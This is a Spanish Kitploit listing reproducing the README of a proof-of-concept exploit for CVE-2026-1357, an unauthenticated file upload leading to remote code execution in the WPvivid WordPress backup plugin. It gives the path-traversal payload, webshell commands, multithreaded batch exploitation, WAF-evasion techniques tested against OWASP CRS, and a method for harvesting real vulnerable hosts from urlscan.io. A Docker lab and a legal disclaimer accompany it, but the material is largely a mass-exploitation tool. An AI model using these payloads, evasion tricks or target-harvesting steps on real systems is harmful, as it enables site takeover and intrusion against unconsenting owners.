Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-1357 — Prueba de concepto de exploit para CVE-2026-1357, una subida de archivos arbitraria sin autenticación en WPvivid Backup & Migration que conduce a la ejecución remota de código. Incluye un script independiente en Python, técnicas de evasión de WAF y un laboratorio vulnerable dockerizado para autorizar | Kitploit
Herramientas/GitHubGitHub/sahmsec/cve-2026-1357
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubsahmsec/cve-2026-1357

CVE-2026-1357

Ver Repositorio
hace 9h 7mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Prueba de concepto de exploit para CVE-2026-1357, una subida de archivos arbitraria sin autenticación en WPvivid Backup & Migration que conduce a la ejecución remota de código. Incluye un script independiente en Python, técnicas de evasión de WAF y un laboratorio vulnerable dockerizado para autorizar

Compartir

CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Subida de archivos arbitraria sin autenticación → RCE

PoC para CVE-2026-1357 (CVSS 9.8 Crítico, CWE-434): una subida de archivos arbitraria sin autenticación en el plugin WPvivid Backup & Migration para WordPress que conduce a la ejecución remota de código. Corregido en 0.9.124 (changeset 3448386). Reportado por Lucas Montes a través del programa Bug Bounty de Wordfence.

root@kitploit:~
  ███████╗  █████╗  ██╗  ██╗ ███╗   ███╗ ███████╗ ███████╗  ██████╗
  ██╔════╝ ██╔══██╗ ██║  ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
  ███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗   ██║
  ╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝   ██║
  ███████║ ██║  ██║ ██║  ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
  ╚══════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚═╝     ╚═╝ ╚══════╝ ╚══════╝  ╚═════╝

⚠️ Aviso legal

Esta prueba de concepto se proporciona únicamente para investigación de seguridad autorizada, educación y pruebas defensivas.

  • Debes ser propietario del sistema objetivo o contar con permiso explícito por escrito del propietario del sistema antes de ejecutar esta herramienta contra él.
  • El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones (por ejemplo, la Computer Fraud and Abuse Act en EE. UU., la Computer Misuse Act en el Reino Unido y leyes similares en todo el mundo) y puede conllevar sanciones penales y civiles.
  • Los autores y colaboradores no asumen ninguna responsabilidad por cualquier uso indebido, daño o consecuencia legal derivada del uso de este código.
  • Al utilizar este software aceptas usarlo de manera responsable y en cumplimiento de todas las leyes aplicables.
  • En qué consiste la vulnerabilidad

    El manejador send_to_site sin autenticación (includes/customclass/class-wpvivid-send-to-site.php) descifra un blob proporcionado por el atacante y escribe el contenido de $params['data'] en wp-content/wpvividbackups/<nombre controlado por el atacante> — sin autenticación, sin nonce y sin saneamiento de rutas en name.

    La protección prevista es RSA: el mensaje debe estar cifrado con una clave de sesión aleatoria, que a su vez está cifrada con RSA usando la clave del sitio. El fallo está en WPvivid_crypt::decrypt_message (includes/class-wpvivid-crypt.php):

    root@kitploit:~
    $key = $rsa->decrypt($key);          // devuelve FALSE en caso de error (blob de clave inválido)
    $rij = new Crypt_Rijndael();
    $rij->setKey($key);                  // FALSE se trata como una clave de bytes nulos
    return $rij->decrypt($data);
    

    El método Crypt_RSA::decrypt() de phpseclib devuelve false cuando el blob de clave proporcionado no puede descifrarse (por ejemplo, cuando openssl_private_decrypt() falla), y el plugin no aborta. false se pasa entonces a Crypt_Rijndael::setKey(), donde strlen(false) → 0 → la clave se rellena con 16 bytes nulos (AES-128, modo CBC, IV nulo). Por lo tanto, un atacante "cifra" la carga útil con una clave nula totalmente predecible — sin necesidad de conocer la clave real del sitio.

    La carga útil es JSON:

    root@kitploit:~
    {"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
     "file_size":<len>,"md5":"<md5>","data":"<base64 de PHP>"}
    

    name se concatena en la ruta sin saneamiento (str_replace('wpvivid','wpvivid_temp', $name) solo reescribe la subcadena "wpvivid"), por lo que ../../ escapa de wp-content/wpvividbackups/ hacia la raíz web. Cuando file_size/md5 coinciden, el archivo temporal se renombra al nombre elegido por el atacante → PHP accesible públicamente → RCE.

    La corrección (changeset 3448386) aborta cuando falla el paso RSA:

    root@kitploit:~
    if ($key === false || empty($key)) {
        return false;
    }
    

    Requisitos

    Objetivo:

    • WPvivid Backup & Migration ≤ 0.9.123
    • La opción wpvivid_api_token debe existir y no estar caducada — se crea cuando un administrador hace clic en Generar en WPvivid → Ajustes → Migración automática (común en sitios que usan la función de migración)
    • Ejecución de archivos PHP en la raíz web (por defecto en la mayoría de los alojamientos)

    Atacante:

    • Python 3 (solo biblioteca estándar)

    Uso

    script.py es totalmente autónomo: solo biblioteca estándar, sin importaciones locales, sin archivos externos. CLI posicional simple:

    root@kitploit:~
    # objetivo único
    python script.py https://target.example.com
    
    # comando personalizado
    python script.py https://target.example.com --command "uname -a"
    
    # modo por lotes (una URL por línea) -> success.txt / failed.txt
    python script.py sites.txt --threads 10
    
    # Evasión de WAF: nombres/valores de parámetros codificados en porcentaje o cuerpo multipart
    python script.py https://target.example.com --encode
    python script.py https://target.example.com --multipart
    
    # auto-eliminar el webshell después de la prueba
    python script.py https://target.example.com --cleanup
    

    Códigos de salida: 0 vulnerable, 1 en caso contrario.

    Laboratorio

    ../lab/ contiene un objetivo vulnerable dockerizado (WordPress 6.8 + fuente de WPvivid 0.9.123 desde plugins/):

    root@kitploit:~
    cd ../lab
    docker compose up -d
    # completa la instalación de WordPress en http://localhost:8090/
    docker compose run --rm wpcli plugin activate wpvivid-backuprestore
    docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
    docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'
    
    cd ../CVE-2026-1357-poc
    python script.py http://localhost:8090 --command id
    

    Descubrimiento de objetivos

    Fuentes verificadas que funcionan (probadas en vivo, sin necesidad de cuenta):

    • urlscan.io — abre esto en un navegador: https://urlscan.io/search/#filename:wpvivid-backuprestore ~74 páginas indexadas que hacen referencia al slug del plugin; haz clic y recopila los nombres de host. Cada URL de resultado comienza con la ruta del plugin (/wp-content/plugins/wpvivid-backuprestore/), por lo que la extracción de hosts es fácil.

    Consultas que se probaron y NO producen objetivos (excluidas a propósito): Dorks de Google/Bing (inurl: devuelve solo las páginas de wordpress.org del propio plugin o un muro anti-bots), DuckDuckGo (igual), Shodan http.html: (HTML truncado indexado, cero resultados), comodín de Wayback CDX (vacío), PublicWWW (bloqueo de scraping de invitados).

    Alimenta los hosts recopilados al triaje (integrado en script.py como --triage), que comprueba en cada sitio:

    1. Versión — wp-content/plugins/wpvivid-backuprestore/readme.txt → Stable tag: 0.9.123 (comprobación sin autenticación de bajo ruido; las cadenas de consulta ?ver= de los assets en el HTML son el respaldo)
    2. Token — POST basura wpvivid_action=send_to_site&wpvivid_content=AAAA: respuesta JSON (The key is invalid.) = wpvivid_api_token existe; vacío = sin token / plugin inactivo / WAF descartó la sonda

    Solo los sitios que son <= 0.9.123 y con token activo se escriben en in-scope.txt, luego:

    root@kitploit:~
    python script.py sites.txt --triage --threads 10   # → in-scope.txt
    python script.py in-scope.txt --threads 5
    

    Supervivencia en red

    Técnicas portadas de un uploader de 2025 de larga duración que siguió funcionando en entornos reales (mismo autor):

    • Disfraz AJAX en el POST de subida: X-Requested-With: XMLHttpRequest, Accept: application/json, */*;q=0.1, Referer del mismo origen, UA de navegador
    • Los GET de seguimiento del shell llevan un Referer del mismo origen
    • Modo por lotes con hilos (--threads N) con tiempos de espera cortos por solicitud
    • success.txt / failed.txt escritos en modo por lotes, solo los shells verificados se registran como éxito (como el archivo success del original)
    • Nombres de archivo aleatorios de 12 hex y nombres de parámetros de shell únicos por subida
    • --encode / --multipart para evasión de la forma de la solicitud

    Verificado contra un mod_security en vivo (OWASP CRS paranoia 1) en laboratorio

    ../lab/waf/ añade un proxy inverso owasp/modsecurity-crs:apache delante del WordPress vulnerable (WAF en :8092, objetivo sin protección en :8093). Comportamiento medido:

    PasoResultado a través de CRS
    POST de subida (plano)pasa — el blob AES + los encabezados AJAX no coinciden con ninguna regla de CRS
    POST de subida (--encode)pasa
    POST de subida (--multipart)pasa
    GET del shell ?<p>=id / hostname / lspasa, el comando se ejecuta
    GET del shell ?<p>=id; hostname; uname -a403 — reglas de inyección de comandos 932xxx de CRS
    GET plano (marcador PWN-OK)pasa

    La subida cifrada es invisible para la inspección de contenido de CRS (misma propiedad de supervivencia que el AJAX de apariencia permitida del uploader de 2025). La única superficie de CRS es el GET de comando de seguimiento, por lo que la herramienta ahora usa --command id por defecto y confirma el RCE mediante el marcador PWN-OK del GET plano incluso cuando el GET de comando es filtrado por el WAF (se reporta como vulnerable con una nota). Los WAF en el host que firman wpvivid_action=send_to_site (por ejemplo, el parche virtual de Wordfence) aún bloquean la subida en sí a nivel del plugin — ningún truco de forma de solicitud supera esos.

    Referencias

    • https://www.wordfence.com/threat-intel/vulnerabilities/id/e5af0317-ef46-4744-9752-74ce228b5f37
    • https://plugins.trac.wordpress.org/changeset/3448386/wpvivid-backuprestore
    • https://nvd.nist.gov/vuln/detail/CVE-2026-1357
    Descargar herramienta